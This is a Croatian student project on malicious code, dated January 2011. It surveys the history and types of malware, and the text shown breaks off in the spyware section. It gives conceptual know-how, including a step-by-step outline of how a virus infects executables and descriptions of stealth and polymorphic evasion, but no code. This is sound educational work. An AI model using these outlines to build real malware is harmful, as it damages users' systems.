SVEUČILIŠTE U ZAGREBU FAKULTET ORGANIZACIJE I INFORMATIKE VARAŢDIN Sanja Budić Ivana Špoljarić Marko Kramar MALICIOZNI KOD: ANALIZA MODERNIH MALICIOZNIH KODOVA PROJEKT IZ KOLEGIJA SIGURNOST INFORMACIJSKIH SUSTAVA Varaţdin, 2011. SVEUČILIŠTE U ZAGREBU FAKULTET ORGANIZACIJE I INFORMATIKE VARAŢDIN Sanja Budić Redoviti student Broj indeksa: 39681/10-R Smjer: Informacijsko i programsko inţenjerstvo Diplomski studij Ivana Špoljarić Redoviti student Broj indeksa: 39683/10-R Smjer: Informatika u obrazovanju Diplomski studij Marko Kramar Redoviti student Broj indeksa: 39673/10-R Smjer: Informacijsko i programsko inţenjerstvo Diplomski studij MALICIOZNI KOD: ANALIZA MODERNIH MALICIOZNIH KODOVA PROJEKT IZ KOLEGIJA SIGURNOST INFORMACIJSKIH SUSTAVA Mentori: prof.dr.sc. Hutinski Ţeljko Kišasondi Tonimir, mag.inf. Varaţdin, siječanj 2011. SADRŽAJ SAŢETAK .................................................................................................................................................................. II 1. UVOD ................................................................................................................................................................. 1 2. ŠTO JE MALICIOZNI KOD? .......................................................................................................................... 2 2.1. 3. POVIJEST RAZVOJA MALICIOZNIH KODOVA ................................................................................................ 2 VRSTE MALICIOZNIH KODOVA .................................................................................................................. 3 3.1. VIRUSI ........................................................................................................................................................ 4 3.1.1. Nastanak................................................................................................................................................ 4 3.1.2. Način rada............................................................................................................................................. 4 3.1.3. Širenje ................................................................................................................................................... 5 3.1.4. Tipovi domaćina .................................................................................................................................... 6 3.1.5. Tipovi virusa.......................................................................................................................................... 7 3.2. RAČUNALNI CRVI ........................................................................................................................................ 9 3.3. TROJANSKI KONJ ...................................................................................................................................... 12 3.4. ROOTKIT................................................................................................................................................... 14 3.5. BACKDOOR............................................................................................................................................... 16 3.6. SPYWARE ................................................................................................................................................. 17 3.6.1. Nastanak.............................................................................................................................................. 17 3.6.2. Tipovi spywarea .................................................................................................................................. 17 3.6.3. Način rada........................................................................................................................................... 19 3.6.4. Razina opasnosti ................................................................................................................................. 19 3.6.5. Ciljna računala i korisnici .................................................................................................................. 19 3.7. BOTNET .................................................................................................................................................... 20 3.7.1. Nastanak.............................................................................................................................................. 20 3.7.2. Aktualne inačice .................................................................................................................................. 20 3.7.3. Način rada........................................................................................................................................... 20 3.7.4. Razina opasnosti ................................................................................................................................. 21 3.7.5. Ciljana računala i korisnici ................................................................................................................ 21 4. ZAŠTITA OD MALICIOZNOG KODA ......................................................................................................... 22 4.1. 4.2. 4.3. 4.4. 4.5. 5. KAKO ZNATI KADA JE RAČUNALO ZARAŢENO? ......................................................................................... 22 KOMERCIJALNA ILI BESPLATNA SIGURNOSNA RJEŠENJA – ŠTO KORISTITI ZA ZAŠTITU?......................... 23 BESPLATNA SIGURNOSNA RJEŠENJA ....................................................................................................... 24 KOMERCIJALNA SIGURNOSNA RJEŠENJA ................................................................................................. 28 PREPORUKA ANTIVIRUSA OD STRANE AUTORA ....................................................................................... 30 IMPLEMENTACIJA PROGRAMSKOG RIJEŠENJA ............................................................................... 31 5.1. 5.2. IZRADA ..................................................................................................................................................... 31 UKLANJANJE ............................................................................................................................................ 35 6. ZAKLJUČAK ................................................................................................................................................... 36 7. LITERATURA ................................................................................................................................................ 37 I SAŢETAK U ovome projektu obradili bismo moderne maliciozne kodove (vrste, oblike, razine opasnosti) te načine na koji oni mogu naštetiti računalu (operacijskom sustavu) i korisniku. Drugim riječima, za svaki od postojećih oblika malicioznog koda opisat ćemo njegove najčešće načine napada, kako se zaštititi, kolika je razina opasnosti, koja računala i korisnici su mu najčešća meta, odnosno, detaljno ćemo ih analizirati. Najprije ćemo navesti različite vrste malicioznog koda, a zatim po navedenim kategorijama analizirati svaki od njih. Prije analize svakog od navedenih malicioznih kodova, smatramo da je potrebno objasniti i povijesni kontekst (u kategoriji „Nastanak“), kako bi se shvatili razlozi zbog kojeg je nastao odreĎeni maliciozni kod. II 1. Uvod Posljednjih nekoliko godina svjedoci smo sve veće popularizacije korištenja Interneta i računala općenito od strane sve većeg broja ljudi svih dobnih skupina. Sve veći broj korisnika rezultira, naravno, globalno gledajući, i većom udjelom neiskusnih korisnika čija je nepaţnja idealna meta za različite oblike malicioznog koda. I sami smo bili početnici sa računalima, a samim time i nemali broj puta smo bili i ţrtve djelovanja pojedinih oblika malicioznih kodova. Zbog toga smo se odlučili na obradu ove zahtjevne tematike. Sam sadrţaj ovog rada je iznimno opseţan, budući da postoje knjige o svakom pojedinom obliku malicioznog koda, pa i o njihovim podoblicima. Stoga smo rad podijelili na nekoliko dijelova. U prvom dijelu (moglo bi se reći, uvodnom) reći ćemo nešto općenito o malicioznom kodu. U sljedećem poglavlju razloţit ćemo vrste malicioznog koda, povijest njihova nastanka, opasnosti te mjerama zaštite od njih. To je poglavlje najopseţnije. U sljedećem poglavlju fokusirat ćemo se na sigurnosna rješenja, koja ćemo podijeliti na dvije kategorije: komercijalna i besplatna sigurnosna rješenja. Naime, podjelom na ove 2 kategorije ţelimo izbjeći pojavu da se besplatni alat čini inferiornijim u odnosu na neki drugi alat za kojeg je potrebno izdvojiti novac. Stoga će svako sigurnosno rješenje biti usporeĎivano sa onima u istoj kategoriji. Naravno, ukoliko smatramo da je neki besplatni alat jači od nekog komercijalnog, to ćemo svakako napomenuti. U sljedećem poglavlju opisat ćemo programsko rješenje (koje ćemo priloţiti projektu). Radi se o virusu koji će pokretanjem korisnika obrisati sve ikone sa računala i praktički onemogućiti njegovo brisanje iz memorije pomoću tzv. Task Managera. TakoĎer, objasnit ćemo i način na koji se uklanja. Smatramo da ćemo ovim projektom i sami dosta toga naučiti o oblicima sigurnosnih prijetnji i da će nam ta novostečena znanja koristiti i u budućnosti. 1 2. Što je maliciozni kod? Najkraće rečeno maliciozni kod je svaki onaj softver koji dospije u korisnikovo računalo bez njegovog dopuštenja i/ili znanja i izvršava neku od aktivnosti kojoj je namijenjen i na štetu korisnika. Osim, klasičnih računalnih virusa ovaj pojam označava sve vrste programskih podrška koji na bilo koji način mogu ugroziti računalni sustav. Često je mišljenje korisnika računala da su svi zloćudni softveri virusi, odnosno nazivaju ih jednim jedinstvenim imenom: virus. No, pod pojmom malicioznog koda smatraju se i sami virusi, ali i crvi, trojanci i slično. 2.1. Povijest razvoja malicioznih kodova Prvi priznati maliciozni kod koji se pojavio „na trţištu“ poznat je pod nazivom „Elk Cloner“. Napisao ga je Rich Skrenta 1982. Godine, a program se ugradio u Apple DOS 3.3 operativni sustav i širio pomoću floppy disketa. To je bilo prije nego je Internet postao proširen i općeprihvaćen način razmjenjivanja poruka ali i malicioznih kodova. Floppy disketa je bila u to vrijeme jedini način razmjene podataka meĎu korisnicima i maliciozni kodovi su funkcionirali na način da su se infiltrirali u podatke ili programe na tim disketama i tako širili, ili su napadali boot sektor diskete što je garantiralo pokretanje malicioznog koda prilikom korištenja diskete. (Vukušić, 2005.) Sustavi oglasnih ploča i mreţne razmjene podataka i programa postali su jako popularni u kasnim osamdesetima i ranim devedesetima, a mnogo malicioznih softvera napisano je da ciljaju programe koji se najviše razmjenjuju. Besplatni softver je bio glavna odrednica za maliciozne softvere u takvim sustavima. Unutar "piratske scene" na kojoj su se prodavale ilegalne kopije komercijalnog softver, korisnici koji su kupovali najnovija izdanja svakojakih programa bili su laka meta za maliciozni softver. (Vukušić, 2005.) Od sredine devedesetih makro virusi su postali uobičajeni. Većina tih virusa je pisana u programskim jezicima za Microsoftove programe poput Worda i Outlooka. Ovi virusi se šire u okruţju Microsoft Windowsa pomoću zaraţenih dokumenata i zaraţene elektroničke pošte. (Vukušić, 2005.) 2 3. Vrste malicioznih kodova Maliciozne kodove moţemo podijeliti u dvije glavne grupe: neovisni maliciozni kodovi i maliciozni kodovi kojima je potreban „program domaćin“ (host program). Neovisni maliciozni kodovi su kodovi kojima nije potreban drugi program kako bi egzistirali, niti im je on potreban za pokretanje. Oni postoje neovisno o bilo kojem drugom i pokreću se iz samog operacijskog sustava. Najjednostavniji primjer ove grupe je računalni crv koji postoji sam za sebe i vrši svoju funkciju Maliciozni kodovi kojima je potreban host program kao što im i ime govori ne mogu egzistirati bez tog programa, odnosno to su dijelovi programa koji se implementiraju u host program i mijenjaju njegov način rada, naravno, na štetu korisnika. U ovu grupu spadaju virusi, trojanci, logičke bombe i slično. 3 3.1. Virusi 3.1.1. Nastanak Virusi ne mogu nastati spontano, niti ih mogu proizvesti greške u nekim uobičajenim programima. Oni nastaju isključivo intervencijom ljudi, odnosno programera. Nastaju s razlogom da načine odreĎenu štetu korisniku, koja moţe biti bezazlena kao primjerice dosaĎivanje korisniku, ali moţe i ozbiljno naštetiti korisniku na način da mu se oštete vaţni dokumenti na koje se išlo ciljano ili ciljane aplikacije. Stav korisnika prema virusima je sa razlogom loši i mišljenje je da oni nastaju kao rezultat vandalizma, odnosno zlih namjera, ali činjenica je da ih kreatori virusa smatraju umjetničkim djelima ili su oni pak pitanje prestiţa (natjecanje meĎu kreatorima čiji će virus biti bolji u smislu da će ga se teţe otkriti, da će napraviti što više štete i da će ga se teţe ukloniti). Osim toga postoje i takozvani „dobri virusi“ koji sluţe za otkrivanje nedostataka programa koje napadaju i njihovo poboljšanje, ili pak brišu druge viruse. Takvi virusi su rijetki i loša je njihova strana to što troše računalne resurse, ali mogu i nenamjerno oštetiti i druge datoteke. 3.1.2. Način rada Računalni virus se prikvači nekoj datoteci (obično je to neka od izvršnih datoteka, no moţe se pronaći i u drugim datotekama, posebice onima čijim se otvaranjem izvršavaju odreĎene skripte) te se širi njenim prenošenjem na druga računala. Računalni virusi, poput "prirodnih" virusa, variraju u teţini posljedica koje zaraţena računala trpe. Tako posljedice variraju od bezopasnih, koje svojim aktivnostima mogu samo donekle dosaĎivati korisniku (jedan od prvih virusa koji je pod tadašnjim operativnim sustavom DOS-om izazivao je "padanje" slova s njihovih mjesta na zaslonu) pa sve do vrlo teških posljedica (kada dolazi do oštećenja datoteka, programa pa čak i hardvera). Što se tiče virusa kao vrste malicioznog koda valja imati na umu da se oni ne šire i ne vrše akcije sami od sebe, već je za njihovo funkcioniranje potrebna intervencija korisnika. To su najčešće aktivnosti pokretanja odreĎenog programa ili otvaranje datoteke, a korisnik ih uglavnom radi nenamjerno i bez da je svjestan da je taj program ili datoteka zaraţena virusom. 4 3.1.3. Širenje Kako bi se virus mogao širiti, mora imati neku vrstu dopuštenja da izvrši svoj kod i da moţe zapisivati u memoriju. Upravo iz tog razloga virusi se implementiraju u izvršne datoteke legalnih programa. Kada korisnik pokreće odreĎenu izvršnu datoteku, on zapravo prvo pokreće virus, a zatim se izvršava originalna funkcija izvršne datoteke. Virusi se mogu podijeliti na dvije glavne skupine prema tome na koji način traţe domaćina ili host program. Nerezidentni virusi traţe domaćine koje mogu inficirati, inficiraju ih i naposljetku predaju kontrolu host programu kojeg su zarazili. Rezidentni virusi ne traţe host program prilikom izvršenja. Oni se učitavaju u memoriju prilikom izvršenja i predaje kontrolu host programu. Takvi virusi ostaju aktivni u potrazi za slijedećim programom domaćinom. (Vukušić, 2005.) Nerezidentni virusi se sastoje od tragačkog dijela i dijela zaduţenog za kopiranje. Tragački dio je zaduţen za pronalaţenje novih host programa i on aktivira kopirajući dio pronalaskom odgovarajuće izvršne datoteke. Zadaće dijela za kopiranje su: 1 1. Otvoriti novu datoteku 2. Provjeriti je li izvršna datoteka već zaraţena (ako je, vratiti se u tragački dio) 3. Kopirati kod virusa u izvršnu datoteku 4. Spremiti početnu točku izvršne datoteke 5. Promijeniti početnu točku izvršne datoteke tako da pokazuje na lokaciju novog virusnog koda 6. Staru početnu lokaciju izvršne datoteke implementirati u kod virusa na način da se virus razgrana na tu lokaciju nakon izvršenja 7. Spremiti promjene u izvršnoj datoteci 8. Zatvoriti inficiranu datoteku 9. Vratiti se u tragački dio i čekati pronalazak novog domaćina 1 (Vukušić, 2005.) 5 Rezidentni virus sadrţi takoĎer dio za kopiranje koji ima slične zadaće, ali se kopirajući dio ne poziva iz tragačkog dijela jer kod ovih virusa on ne postoji. Umjesto toga virus svoj dio za kopiranje smjesti u radnu memoriju kada je prvi put pokrenut i osigurava da se taj dio za kopiranje pokrene svaki put kad operacijski sustav izvrši odreĎenu akciju. Na taj način napadaju datoteke i šire se sustavom. Postoje dvije vrste rezidentnih virusa. Prva je vrsta koja se brzo širi i brzo inficira i njena je svrha zaraziti što više domaćina. Posebno se problem javlja sa ovim virusima prilikom potpunog skeniranja sustava antivirusnim programom. Antivirusni programi provjeravaju svaku datoteku bez znanja da je virus već učitan u memoriju i da čeka upravo to da se pristupi nekoj izvršnoj datoteci kako bi ju on inficirao, dok antivirusni program nema pojma o tome. Kod novijih antivirusnih programa više nema tog problema jer svaki današnji antivirusni program ima takozvani resident shield, ili rezidentnu zaštitu koja cijelo vrijeme prati memoriju i pretraţuje ju u potrazi za ovakvim virusima. Ovakvi virusi uvelike usporavaju rad sustava, ali njihovim narušavanjem konzistentnosti datoteka antivirusnim programima lako je uočiti sumnjive akcije koje izvršavaju ovakvi virusi. Druga vrsta ovih virusa su rezidentni virusi koji sporo inficiraju i njihova je svrha da domaćine zaraze sporo, neredovito i rijetko. Primjerice oni inficiraju datoteke prilikom njihovog kopiranja ili slično. Njihova, recimo, prednost je u tome što je oteţana njihova detekcija od strane antivirusnih programa, ali su njihove akcije ograničene. Oni neće značajno usporiti računalo niti će aktivirati antivirusne programe koji prate sumnjive akcije sustava. 3.1.4. Tipovi domaćina Virusi mogu inficiraju razne vrste host programa. Neke od glavnih izvršnih datoteka su binarne izvršne datoteke (kao što su .com datoteke ili .exe datoteke ili .elf datoteke kod Linux operativnih sustava). Osim datoteka inficiraju i boot sektore floppy i tvrdih diskova, master boot record tvrdih diskova, ali i datoteke za općenitu uporabu kao što su grupne datoteke kod MS Windows platforme i skripti kod Linux platforme. Još su dosta pogodni i dokumenti koji sadrţe makro naredbe poput dokumenata MS Worda, tablica u MS Excelu i slično. 6 Virus mora zaraziti domaćina da bi se mogao proširiti dalje. U nekim slučajevima zaraza domaćina moţe biti loša ideja. Primjerice. mnogi antivirusni programi provjeravaju cjelovitost vlastitog koda. Zaraza takvih domaćina bi uvelike povećala vjerojatnost detekcije. Iz tog razloga neki virusi su programirani tako da ne zaraze programe za koje se zna da su dijelovi antivirusnog softvera. Druga vrsta domaćina koje virusi izbjegavaju su mamci. Mamci(ili ţrtvena janjad) su datoteke koje su specijalno stvorene od strane antivirusnog softvera, ili od strane antivirusnih profesionalaca, tako da mogu biti zaraţene virusom. Takve datoteke mogu biti stvorene iz mnogih razloga koji su svi povezani sa detekcijom virusa. Anti-virusni profesionalci mogu napraviti takve datoteke da bi uzeli uzorak virusa (to jest kopiju datoteke koja je zaraţena virusom). Mnogo je praktičnije spremati i razmjenjivati malenu zaraţenu datoteku u odnosu na velike aplikacije. TakoĎer takvi ljudi mogu napisati mamce da bi proučili ponašanje virusa i ocijenili metode detekcije. To se većinom koristi kada su posrijedi polimorfni virusi. U tom slučaju virus se moţe navesti da inficira veliku količinu mamaca. Inficirane datoteke koriste se da bi se vidjelo da li antivirusni softver detektira sve verzije virusa. Neki antivirusni programi koriste mamce kojima se pristupa redovito. Kada doĎe do promijene tih datoteka antivirusni softver upozori korisnika da se na računalu najvjerojatnije nalazi virus. (Vukušić, 2005.) 3.1.5. Tipovi virusa Polimorfni virusi prilikom replikacije stvaraju potpuno funkcionalne kopije koje su u potpunosti sposobne izvršavati sve funkcionalnosti kao i original, ali se sadrţaj datoteke na razini bitova razlikuje od kopije do kopije. Kod kreiranja kopija koristi se kriptiranje pomoću random ključa kojim se virus zaključa kako bi onemogućio antivirusni program da ga otkrije. Prilikom detekcije i inficiranja, odnosno kopiranja virusa na datoteku domaćina, on se otključava sa svojim ključem i svoju kopiju zaključava ponovno random ključem i na taj način se širi dalje osiguravajući svoju egzistenciju u sustavu. (Heidari, 2004) 7 Boot sector virusi napadaju master boot record tvrdog diska ili boot sektor operacijskog sustava. Radi na način da instrukcije OS-a pronaĎe na tim lokacijama i premješta ih na neko drugo mjesto na disku, a zatim svoj kod kopira na njihovo početno mjesto (boot recorde). Kao što je već opisano kod nerezidentnih virusa, virus natjera sustav da prvo izvrši njega, a tek nakon toga da izvršava svoje originalne akcije. Jedina je razlika što se on infiltrira u memoriju i od tamo vrši svoje aktivnosti repliciranja i iskorištavanja računalnih resursa. (Heidari, 2004) Makro virus je zapravo set naredbi specifičan za pojedinu aplikaciju koji se kontrolnim procesima te aplikacije predstavlja kao sasvim legitiman i bezopasan dio koda, dok se zapravo radi o virusu koji uzrokuje odreĎenu štetu. Prema Američkoj agenciji za zaštitu računala (NCSA) makro virusi čine dvije trećine od ukupnog broja virusa. Makro virusi su neovisni o platformi. Primjerice, MS Word je ranjiv i na MS Windows i MAC OS platformi od strane istog makro virusa. Oni inficiraju dokumente, a ne izvršne dijelove aplikacijskog koda. Njihovo širenje je izrazito lako, a šire se najčešće putem elektroničke pošte. (Heidari, 2004) Email virus se širi preko attahmenta u elektroničkoj pošti i to uglavnom preko makro naredbi u MS Word attachmentima. Korisnik prilikom otvaranja inficirane email poruke otvara attachment koji sadrţi virus i virus počinje svoje izvršavanje. Izvršavanje email virusa očituje se kroz dvije funkcije. Prva je ta da se virus u jednakoj email poruci pošalje svima u mailing listi korisnika koji je pokrenuo virus, ali osim toga vrši i lokalnu štetu na korisnikovom računalu. (Heidari, 2004) Stealth virusi su skupina virusa koja je dobila naziv prema predstavniku, virusu Stealth (potajnost). Stealth virusi su virusi koji dok su aktivni skrivaju promjene koje su načinili na fileovima ili boot-sektoru. To se obično postiţe tako da virus napravi laţnu sliku kao rezultat sistemskih funkcija korištenih za čitanje datoteka ili sektora s medija i onda tu sliku prikazuje nekom programu koji pokuša očitati podatke o nekom fajlu. To znaci da prvo Stealth virus napravi i sačuva sliku s podacima originalnih datoteka koji još nisu izmijenjeni i inficirani, nakon toga ih inficira, ali kada se pokušaju očitati podaci o primjerice veličini datoteka ovaj virus podmetne onu laţnu sliku s originalnim podacima. Zbog toga se moţe dogoditi da virus ne bude detektiran od strane antivirusnog softvera. (Heidari, 2004) 8 3.2. Računalni crvi Najvaţnija razlika izmeĎu virusa i računalnog crva je sposobnost samostalnog širenja crva dakle bez pomoći korisnika. Crv koristi ranjivosti informacijskih sustava i širi se od čvora do čvora mreţe, gotovo uvijek čineći štetu na zaraţenom sustavu (u najmanju ruku neovlašteno iskorištavajući mreţne resurse i smanjujući na taj način propusnost mreţe). Velika opasnost od crva dolazi zbog njihovog svojstva da se sami mogu replicirati na mreţi i na računalu. Tako se crv, nakon što zarazi jedno računalo, moţe replicirati na istom računalu te će s njega odaslati tisuće njegovih kopija što će u napadnutom informacijskom sustavu rezultirati zagušenjem mreţe i smanjenjem brzine rada sustava. Primjer ovakvog širenja je crv koji se na zaraţenom računalu replicira tako da pošalje svoje kopije na sve adrese pronaĎene u korisnikovom adresaru s elektroničkim adresama, a nakon toga se postupak ponavlja na svakom od računala na koja je ovim putem stigao. Ovaj se postupak ponavlja na svakom računalu na koje crv dolazi, što na koncu ima vrlo poraţavajuće posljedice - na zaraţenim računalima mogu zauzeti veliku količinu memorije ili mreţnih resursa (uvelike smanjujući propusnost mreţe) što dovodi do toga da računala, odnosno servisi na njima, prestaju izvršavati svoje zadaće. (Zavod za sigurnost informacijskih sustava, 2009.) Druga opasnost od crva proizlazi iz njihovog svojstva da na zaraţenim računalima otvaraju sigurnosne rupe (backdoor) te na taj način omogućuju zlonamjernoj osobi da neovlašteno kontrolira zaraţeno računalo preko mreţe. (Zavod za sigurnost informacijskih sustava, 2009.) 9 Crvi se sastoje od samokopirajućeg koda koji omogućava razmnoţavanje i širenje crva i tereta (payload), a teret moţe biti:2 Nepostojeći / nefunkcionalan – najčešći slučaj kod većine crva je upravo ovaj, kada ne postoji kod osim koda za širenje ili u njemu postoji nekakva pogreška pa nije funkcionalan. Daljinska kontrola – otvara backdoor na ţrtvinom računalu. Spam relays – dio crva Sobig kreira mail relay koji spameri mogu koristiti da bi slali neţeljenu elektroničku poštu. Većina internet providera ima sigurnosne mehanizme koji blokiraju spam sa poznatih IP adresa, ali kod zaraze ovim crvom spam dolazi sa svih strana i nemoguće je na taj način kontrolirati njegovo širenje. HTML-proxyji – još jedna osobina crva Sobig je distribucija HTML-proxyja. Preusmjerujući web zahtjeve preko mnogo proxyja web stranice sa zabranjenim sadrţajem dobivaju na vremenu jer providerima treba puna vremena da otkriju na kojoj se adresi web stranica fizički nalazi. Ovo se koristi za razne nelegalne aktivnosti, uključujući prijevare sa upisivanjem financijskih podataka ili brojeva kartica. Internet DOS – još jedan česti teret je Internet DOS (Denial Of Service) napad. Code Red, Yaha i još mnogo crva sadrţe DOS alate, koji su ili upereni protiv odreĎene stranice ili se mogu uperiti protiv bilo koga ako autor crva to zaţeli. Kada crv zarazi 100 000 ili više računala zombija moguće je nedostupnom učiniti bilo koju stranicu, pa čak i cijeli DNS sustav. Skupljači podataka – većina ljudi na računalu na kojem rade imaju osjetljive podatke poput poslovnih tajni, nacrta novih ureĎaja, financijskih izvješća, itd. Crv moţe pretraţiti disk računala u potrazi za tim podacima i zatim ih poslati na prije odreĎeno mjesto. Brisači podataka – postoji mnogo virusa, sadrţe kod za brisanje podataka nakon odreĎenog vremena. Budući da se crvi mogu širiti mnogo brţe, mogli bi početi brisati podatke odmah nakon infekcije. Fizička šteta – većina današnjih računala podrţava nadogradnju pokretačkog softvera, pa tako i računala imaju BIOS čip koji je moguće flashati direktno iz Windowsa. Ukoliko se u flash čip upišu pogrešni podaci računalo se više neće moći pokrenuti. 2 Dostupno 07.01.2011. na http://hr.wikipedia.org/wiki/Ra%C4%8Dunalni_crvi poglavlje Podjela prema načinu djelovanja 10 Vjerojatno najpoznatiji računalni crv u ovo vrijeme je vjerojatno Conficker. Njegova glavna funkcija je da iskorištava slabosti sustava (uglavnom Windows platforme) kako bi pridobio administratorske lozinke ili administratorska prava koja zatim prosljeĎuje na virtualno računalo kojim pak upravlja njegov kreator. Njime su napadnuta više od sedam milijuna računala, od drţavnih, poslovnih pa sve do kućnih računala. Danas postoji već pet njegovih varijanti i svaka je dograĎena novim funkcionalnostima i obranama od antivirusnih softvera. Osim toga dograĎene su mogućnostima samodogradnje na sljedeću varijantu. Simptomi koji se javljaju na zaraţenom računalu očituju se kroz resetiranje postavki za korisnička prava, onemogućeni su MS Windows servisi kao što su Automatic Updates, Background Intelligent Transfer Service (BITS), Windows Defender i Windows Error Reporting, onemogućen je pristup web stranicama vezanim uz antivirusne alate, i Windows update i uklonjene su korisničke lozinke na računalu. Računalni crv je strukturno sličan virusu, osim što računalni crv sadrţi i svoj kod kojeg izvršava, za razliku od virusa koji se infiltrira u program domaćina. Oznaka (opcionalno) Mehanizam infekcije Okidač (opcionalno) Teret (opcionalno) Slika 1:Struktura računalnog crva3 Oznaka sprječava pokušaje ponovnog napadanja. Znači kada je odreĎeno mjesto u sustavu inficirano, oznaka je promijenjena i neće doći do ponovnog napadanja sustava. Mehanizmi infekcije pretraţuju mreţu u potrazi za slabo zaštićenim računalima. Okidač su uvjeti koji moraju ispunjeni kako bi se isporučio teret kojeg nosi crv. Računalo mora biti pogodno u smislu slabe zaštite i detekcije računalnog crva, ali i njegovog tereta, jer nema smisla napadati dobro zaštićeno računalo i izvršavati svoj kod ili isporučivati teret onom računalu koji će to brzo detektirati i ukloniti. Teret mogu biti virusi koji će se infiltrirati u sustav kao i trojanske konje koji će takoĎer napraviti potrebnu štetu. 3 (Heidari, 2004) 11 3.3. Trojanski konj Ako nam je poznata priča o mitološkom trojanskom konju pred vratima Troje koji je sluţio kako bi prevario Trojance i time ih osudio na smrt, onda nam je poznata i ideja rada računalnog trojanskog konja. Dakle, trojanski konj je na prvi pogled obični korisni ili zabavni program kojeg korisnik pokrene sa svog računala, no tada se dogodi ono što korisnik nije očekivao. Odjednom taj program ne radi baš ono što bi trebao kako piše prema njegovom nazivu ili opisu, nego baš suprotno, on radi štetu samom korisniku. Korisnik moţe toga biti svjestan, ali i ne mora. Dobro nam je poznat problem kojeg ima IM alat Windows live messenger a koji nam šalje od naših kontakata link na neku „smiješnu“ stranicu ili na neke zanimljive slike ili slično a zapravo se u pozadini nalazi maliciozni softver. Nakon što uspješno zarazi računalo, trojanac moţe obavljati razne neţeljene akcije koje variraju od bezazlenih (ali ometajućih – mijenjaju desktop računala, prikazuju razne poruke itd.) do vrlo ozbiljnih sigurnosnih problema (primjerice brisanje datoteka s podacima, kraĎa podataka kao što su PINovi ili lozinke koje zatim šalju nekoj drugoj osobi, odnosno svom kreatoru), nepotrebno zauzimaju računalne resurse i na taj način ga usporavaju, te, najpoznatije svojstvo trojanaca, da otvaraju sigurnosne rupe na računalima time omogućujući zlonamjernoj osobi pristup zaraţenom računalu i podacima na njemu. Trojanci se, za razliku od računalnih virusa i crva, ne šire zarazom drugih datoteka niti se samostalno ne repliciraju. (Zavod za sigurnost informacijskih sustava, 2009.) 12 Vrste trojanskih konja: Dropper sluţi za naseljavanje pravog računalnog virusa u napadnuto računalo. Dropper igra ulogu ţrtve, namjerno omogućujući virusu da se naseli u računalo. Backdoor je naziv za različite postupke ili programe koji omogućuju drugom korisniku da se sluţi ţrtvinim računalom dok je spojena na Internet, a da ona to ne zna. Općenito, backdoor iskorištavaju sigurnosne propuste (rupe) u računalnom sustavu. Nerijetko se trojanac i backdoor koriste zajedno: ţrtva pokrene program za koji misli da je koristan (npr. download manager ili igra) i dok ga koristi, trojanac ubaci backdoor u računalo. Downloader je trojanski konj koji pristupa različitim internetskim stranicama kako bi s njih skinuo, obično maliciozne, datoteke te ih na koncu i pokrenuo 13 3.4. Rootkit Rootkitovi su zlonamjerni programi koji su napravljeni da bi preuzeli kontrolu nad operacijskim sustavom tako da nadomjeste sustavske procese i podatke bez dopuštenja korisnika. TakoĎer dosta često su još i trojanski konji te tako zavaravaju korisnika da im je sve u redu sa sustavom. Rootkitovi omogućuju neovlaštenim osobama da preuzimu kontrolu nad sustavom. Rootkit je kolekcija od jednog ili više programskih alata, dizajnirana u cilju prikrivenog preuzimanja kontrole nad računalom. Inicijalno se rootkit pojavio na operativnim sustavima Unix (uključujući Linux) i bio je kolekcija od jednog ili više alata koji su napadaču omogućavali dobivanje i zadrţavanje pristupa najprivilegiranijem korisniku računalnog sustava (na Unix sustavima taj se korisnik naziva root, odakle ovim programima i ime). Na Windows računalnim sustavima naziv 'rootkit' se najčešće povezuje s alatima korištenima kako bi se neki program ili proces sakrio od korisnika. Nakon što se instalira, rootkit u Windows sustavu koristi funkcije operativnog sustava kako bi se prikrio, tj. kako ne bi mogao biti otkriven, a često se koristi u cilju prikrivanja nekog drugog zlonamjernog programa (npr. keystroke loggera). Korištenje rootkita ne mora nuţno biti zloćudno, ali se pojam rootkit sve više povezuje uz neţeljeno ponašanje računalnog sustava i zlonamjerne programe. Napadač instalira rootkit na računalo prilikom dobivanja root-level pristupa (pristupa na razini privilegiranog root korisničkog računa) i to iskorištavanjem poznate mu ranjivosti sustava, odnosno slabe točke ili pak pridobivanjem lozinke za taj račun potem drugih mehanizama. Nakon što je rootkit instaliran, napadač moţe pristupati cijelom računalu na način da maskira svoje prisustvo i izbjegne svu potrebnu autentifikaciju i autorizaciju u sustavu. (ESET, 2006) Iako rootkit ne mora nuţno biti negativan, uglavnom se smatra kao jednom vrsta malicioznog koda iz razloga što mu je svrha sakrivanje raznih aplikacija koje koriste računalne resurse, kraĎa lozinki bez znanja administratora i korisnika i slično. 14 Rootkit cilja firmver ureĎaja kao što su mreţne kartice, hard disk ili sam BOIS, hypervisor, kernel, ali najčešće napada korisničke aplikacije i korisniče račune. Rootkitovi često sadrţe i backdoor, odnosno ulaz u sustav neovlaštenim osobama bez znanja korisnika. Autori virusa sve češće koriste rootkitove kako bi sakrili svoje programe od korisnika i antivirusnih programa. Danas na Internetu postoji velik broj gotovih rootkit-ova i zato ne čudi njihova velika upotreba. Neki nisu štetni za računalo, primjerice programi za emulaciju kao Alcohol 120% ili Daemon Tools koriste rootkitove. 15 3.5. Backdoor Backdoor je program koji je instaliran od strane virusa, crva ili trojanskog konja (bez znanja vlasnika) i koji trećim osobama omogućava nesmetan i od vlasnika neovlašten pristup računalu. Backdoor koristi slabosti operativnog ili zaštitnih sustava (firewalla ili antivirusnih programa). On omogućuje napadačima da zaobiĎu sigurnosne provjere sustava bez da su se potrudili hakirati sustav. Odnosno nije potrebno traţiti lozinke i korisnička imena, već je potrebno pronaći samo „rupu“ u sustavu. (Heidari, 2004) Kao što mu i ime govori, ovaj maliciozni softver predstavlja zapravo skriveni ulaz u sustav i koji omogućava onoj osobi koja zna za njegovo postojanje nesmetano prodiranje u sustav i nesmetano korištenje i narušavanje bez da se prolazi kroz standardnu sigurnosnu proceduru. Korištenjem backdoora omogućuje se pristup aplikacijama, vaţnim datotekama ili je čak moguće pridobiti i razne lozinke i slična ovlaštenja. Backdoor koriste programeri prilikom razvoja sustava sigurnosti kako bi ga isprobali i debugirali. Do sad se već dosta spominjao ovaj pojam backdoora kod drugih oblika malicioznog koda, a to je iz razloga što se gotovo uvijek oni koriste u kombinaciji. Odnosno napadači iskoriste backdoor kako bi ušli u sustav i, primjerice, inficirali sustav svojim virusom. Osim u kombinaciji sa virusom, backdoor se koristi i u kombinaciji s trojanskim konjem, crvom i kod drugih malicioznih softvera. Drugi naziv za backdoor je trap door, ali je značenje potpuno isto. 16 3.6. Spyware Spyware predstavlja oblik malicioznog koda koji se instalira na računalo ţrtve te potom šalje osjetljive podatke kreatoru (ili osobi koja je s namjerom inficirala računalo ţrtve). Spyware se uglavnom instalira samostalno – korisnik ne mora vlastitom akcijom pokrenuti instalaciju ovog oblika 